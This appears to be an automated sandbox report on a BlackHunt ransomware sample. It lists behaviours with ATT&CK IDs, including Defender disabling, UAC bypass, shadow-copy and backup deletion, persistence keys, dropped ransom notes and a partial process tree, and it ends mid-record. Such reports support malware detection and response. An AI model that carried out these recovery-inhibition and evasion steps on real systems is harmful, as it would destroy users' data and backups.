7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec

Data Destruction

T1485

pid	Process
3912	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

pid	Process
4012	bcdedit.exe
4984	bcdedit.exe

Renames multiple (592) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 1 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
5160	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-983843758-932321429-1636175382-1000\Control Panel\International\Geo\Nation	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\B:	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened (read-only)	\??\N:	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened (read-only)	\??\M:	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened (read-only)	\??\W:	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened (read-only)	\??\O:	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened (read-only)	\??\K:	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened (read-only)	\??\Q:	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened (read-only)	\??\R:	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened (read-only)	\??\L:	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened (read-only)	\??\I:	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened (read-only)	\??\Z:	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened (read-only)	\??\X:	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened (read-only)	\??\E:	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened (read-only)	\??\Y:	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened (read-only)	\??\A:	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened (read-only)	\??\S:	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\J:	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened (read-only)	\??\V:	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened (read-only)	\??\U:	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened (read-only)	\??\P:	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened (read-only)	\??\G:	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened (read-only)	\??\T:	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened (read-only)	\??\H:	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened (read-only)	\??\F:	vssadmin.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
7	ip-api.com

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files\VideoLAN\VLC\locale\nn\#BlackHunt_ReadMe.hta	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File created	C:\Program Files\VideoLAN\VLC\locale\oc\LC_MESSAGES\#BlackHunt_ReadMe.txt	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File created	C:\Program Files\VideoLAN\VLC\locale\pa\#BlackHunt_Private.key	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\lib\tools.jar	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\images\cursors\#BlackHunt_ReadMe.hta	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\lcms.md	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File created	C:\Program Files\VideoLAN\VLC\locale\be\#BlackHunt_ReadMe.txt	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bn\#BlackHunt_Private.key	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File created	C:\Program Files\VideoLAN\VLC\locale\es\#BlackHunt_ReadMe.txt	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File created	C:\Program Files\VideoLAN\VLC\locale\es\LC_MESSAGES\#BlackHunt_Private.key	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File created	C:\Program Files\VideoLAN\VLC\locale\et\#BlackHunt_Private.key	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\charsets.jar	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File created	C:\Program Files\VideoLAN\VLC\locale\lv\LC_MESSAGES\#BlackHunt_ReadMe.hta	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\lib\ct.sym	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ast\#BlackHunt_ReadMe.hta	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File created	C:\Program Files\VideoLAN\VLC\locale\hu\#BlackHunt_ReadMe.txt	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File created	C:\Program Files\VideoLAN\VLC\locale\sv\#BlackHunt_ReadMe.hta	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\fonts\#BlackHunt_Private.key	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\ext\sunec.jar	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File created	C:\Program Files\Java\jre-1.8\lib\security\policy\unlimited\#BlackHunt_ReadMe.hta	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File created	C:\Program Files\VideoLAN\VLC\locale\is\#BlackHunt_ReadMe.hta	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File created	C:\Program Files\VideoLAN\VLC\locale\sr\#BlackHunt_ReadMe.txt	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\deploy.jar	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\cmm\LINEAR_RGB.pf	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\jdk\jcup.md	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\jce.jar	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ach\LC_MESSAGES\#BlackHunt_ReadMe.txt	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\fur\LC_MESSAGES\vlc.mo	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File created	C:\Program Files\VideoLAN\VLC\locale\or\LC_MESSAGES\#BlackHunt_ReadMe.hta	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File created	C:\Program Files\7-Zip\Lang\#BlackHunt_ReadMe.txt	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ms.txt	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File created	C:\Program Files\Java\jdk-1.8\jre\bin\server\#BlackHunt_ReadMe.hta	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\currency.data	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File created	C:\Program Files\Java\jre-1.8\bin\plugin2\#BlackHunt_Private.key	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File created	C:\Program Files\Java\jre-1.8\lib\#BlackHunt_Private.key	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\cryptix.md	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\fonts\LucidaSansDemiBold.ttf	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened for modification	C:\Program Files\7-Zip\Lang\fi.txt	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File created	C:\Program Files\VideoLAN\VLC\locale\km\#BlackHunt_ReadMe.hta	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File created	C:\Program Files\VideoLAN\VLC\locale\hi\LC_MESSAGES\#BlackHunt_ReadMe.hta	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\jcup.md	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\jfr\profile.jfc	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File created	C:\Program Files\VideoLAN\VLC\locale\az\#BlackHunt_ReadMe.txt	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ug.txt	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jmc.txt	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\jdk\xalan.md	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File created	C:\Program Files\VideoLAN\VLC\locale\fa\#BlackHunt_ReadMe.txt	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File created	C:\Program Files\Google\#BlackHunt_ReadMe.hta	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File created	C:\Program Files\Java\jre-1.8\legal\#BlackHunt_ReadMe.txt	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bn_IN\LC_MESSAGES\#BlackHunt_ReadMe.hta	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ga\#BlackHunt_ReadMe.hta	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ru\#BlackHunt_ReadMe.hta	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\legal\javafx\public_suffix.md	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\javafx\icu_web.md	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\tzdb.dat	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File created	C:\Program Files\Java\jre-1.8\lib\images\cursors\#BlackHunt_Private.key	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened for modification	C:\Program Files\ReadUpdate.dot	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File created	C:\Program Files\Uninstall Information\#BlackHunt_ReadMe.txt	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File created	C:\Program Files\VideoLAN\VLC\#BlackHunt_ReadMe.hta	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File created	C:\Program Files\VideoLAN\VLC\locale\es\#BlackHunt_ReadMe.hta	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened for modification	C:\Program Files\7-Zip\Lang\az.txt	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File created	C:\Program Files\VideoLAN\VLC\locale\kk\#BlackHunt_Private.key	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\security\blacklist	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
File created	C:\Program Files\Java\jre-1.8\lib\security\policy\#BlackHunt_Private.key	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 4 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_DADY_DVD-ROM\4&215468A5&0&010000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_DADY_DVD-ROM\4&215468a5&0&010000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_DADY&PROD_HARDDISK\4&215468A5&0&000000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	vds.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
1488	schtasks.exe

Interacts with shadow copies 2 TTPs 5 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
3692	vssadmin.exe
4036	vssadmin.exe
4476	vssadmin.exe
4796	vssadmin.exe
3864	vssadmin.exe

Modifies registry class 10 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeDebugPrivilege	472	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
Token: SeRestorePrivilege	472	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
Token: SeBackupPrivilege	472	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
Token: SeTakeOwnershipPrivilege	472	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
Token: SeAuditPrivilege	472	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
Token: SeSecurityPrivilege	472	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
Token: SeIncBasePriorityPrivilege	472	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
Token: SeBackupPrivilege	3732	vssvc.exe
Token: SeRestorePrivilege	3732	vssvc.exe
Token: SeAuditPrivilege	3732	vssvc.exe
Token: SeBackupPrivilege	6696	wbengine.exe
Token: SeRestorePrivilege	6696	wbengine.exe
Token: SeSecurityPrivilege	6696	wbengine.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 472 wrote to memory of 4164	472	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe	91
PID 472 wrote to memory of 4164	472	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe	91
PID 472 wrote to memory of 1768	472	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe	93
PID 472 wrote to memory of 1768	472	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe	93
PID 472 wrote to memory of 2640	472	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe	95
PID 472 wrote to memory of 2640	472	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe	95
PID 472 wrote to memory of 2368	472	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe	97
PID 472 wrote to memory of 2368	472	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe	97
PID 4164 wrote to memory of 4592	4164	cmd.exe	98
PID 4164 wrote to memory of 4592	4164	cmd.exe	98
PID 1768 wrote to memory of 1816	1768	cmd.exe	100
PID 1768 wrote to memory of 1816	1768	cmd.exe	100
PID 472 wrote to memory of 4028	472	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe	103
PID 472 wrote to memory of 4028	472	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe	103
PID 2640 wrote to memory of 3820	2640	cmd.exe	101
PID 2640 wrote to memory of 3820	2640	cmd.exe	101
PID 2368 wrote to memory of 3084	2368	cmd.exe	104
PID 2368 wrote to memory of 3084	2368	cmd.exe	104
PID 4028 wrote to memory of 3680	4028	cmd.exe	105
PID 4028 wrote to memory of 3680	4028	cmd.exe	105
PID 472 wrote to memory of 2520	472	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe	107
PID 472 wrote to memory of 2520	472	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe	107
PID 472 wrote to memory of 1512	472	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe	109
PID 472 wrote to memory of 1512	472	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe	109
PID 472 wrote to memory of 2832	472	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe	111
PID 472 wrote to memory of 2832	472	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe	111
PID 472 wrote to memory of 2480	472	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe	115
PID 472 wrote to memory of 2480	472	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe	115
PID 1512 wrote to memory of 944	1512	cmd.exe	113
PID 1512 wrote to memory of 944	1512	cmd.exe	113
PID 2520 wrote to memory of 1660	2520	cmd.exe	116
PID 2520 wrote to memory of 1660	2520	cmd.exe	116
PID 472 wrote to memory of 4796	472	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe	117
PID 472 wrote to memory of 4796	472	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe	117
PID 472 wrote to memory of 1536	472	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe	119
PID 472 wrote to memory of 1536	472	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe	119
PID 472 wrote to memory of 1880	472	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe	120
PID 472 wrote to memory of 1880	472	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe	120
PID 2832 wrote to memory of 4960	2832	cmd.exe	123
PID 2832 wrote to memory of 4960	2832	cmd.exe	123
PID 472 wrote to memory of 1472	472	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe	124
PID 472 wrote to memory of 1472	472	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe	124
PID 472 wrote to memory of 3692	472	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe	125
PID 472 wrote to memory of 3692	472	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe	125
PID 2480 wrote to memory of 840	2480	cmd.exe	128
PID 2480 wrote to memory of 840	2480	cmd.exe	128
PID 472 wrote to memory of 652	472	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe	130
PID 472 wrote to memory of 652	472	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe	130
PID 4796 wrote to memory of 4364	4796	cmd.exe	129
PID 4796 wrote to memory of 4364	4796	cmd.exe	129
PID 1880 wrote to memory of 3344	1880	cmd.exe	132
PID 1880 wrote to memory of 3344	1880	cmd.exe	132
PID 1536 wrote to memory of 4296	1536	cmd.exe	133
PID 1536 wrote to memory of 4296	1536	cmd.exe	133
PID 472 wrote to memory of 3068	472	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe	134
PID 472 wrote to memory of 3068	472	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe	134
PID 1472 wrote to memory of 1008	1472	cmd.exe	136
PID 1472 wrote to memory of 1008	1472	cmd.exe	136
PID 3692 wrote to memory of 1504	3692	cmd.exe	137
PID 3692 wrote to memory of 1504	3692	cmd.exe	137
PID 472 wrote to memory of 4448	472	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe	138
PID 472 wrote to memory of 4448	472	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe	138
PID 472 wrote to memory of 4780	472	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe	141
PID 472 wrote to memory of 4780	472	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe	141

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe
"C:\Users\Admin\AppData\Local\Temp\7ad88bd90a01f58887b3606144cc005425b29b2876da4fe5a92f90c1ddc9a9ec.exe"
1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:472
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4164
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:4592
- C:\Windows\System32\cmd.exe
